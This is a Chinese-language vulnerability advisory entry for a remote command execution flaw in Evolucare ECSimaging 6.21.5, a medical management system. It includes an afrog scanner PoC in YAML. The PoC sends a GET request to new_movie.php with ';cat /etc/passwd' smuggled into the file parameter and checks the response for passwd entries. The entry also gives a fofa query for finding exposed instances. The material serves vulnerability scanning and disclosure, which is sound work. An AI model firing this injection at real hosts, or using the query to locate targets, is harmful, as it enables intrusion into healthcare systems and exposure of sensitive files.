evolucare-ecsimaging-new-movie-rce: Evolucare Ecsimaging new_movie.php 远程命令执行漏洞

日期: 2025-09-01 | 影响软件: Evolucare Ecsimaging | POC: 已公开

漏洞描述

EVOLUCARE ECSimage是一款国外使用的医疗管理系统，研究发现其new_movie.php接口中存在命令注入漏洞,攻击者可利用该漏洞获取系统敏感信息等.漏洞影响:EVOLUCARE Evolucare Ecsimaging 6.21.5 fofa-query: body="ECSimaging"

PoC代码[已公开]

id: evolucare-ecsimaging-new-movie-rce

info:
  name: Evolucare Ecsimaging new_movie.php 远程命令执行漏洞
  author: daffainfo
  severity: critical
  verified: true
  description: |
    EVOLUCARE ECSimage是一款国外使用的医疗管理系统，研究发现其new_movie.php接口中存在命令注入漏洞,攻击者可利用该漏洞获取系统敏感信息等.漏洞影响:EVOLUCARE Evolucare Ecsimaging 6.21.5
    fofa-query: body="ECSimaging"
  reference:
    - https://github.com/Threekiii/Awesome-POC/blob/master/Web%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E/Evolucare%20Ecsimaging%20new_movie.php%20%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E.md

rules:
  r0:
    request:
      method: GET
      path: /new_movie.php?studyUID=1&start=2&end=2&file=1;cat+/etc/passwd
    expression: response.status == 200  &&  "root:.*?:[0-9]*:[0-9]*:".bmatches(response.body)
expression: r0()
来源: https://github.com/zan8in/afrog/blob/main/pocs/afrog-pocs/vulnerability/evolucare-ecsimaging-new-movie-rce.yaml

相关漏洞推荐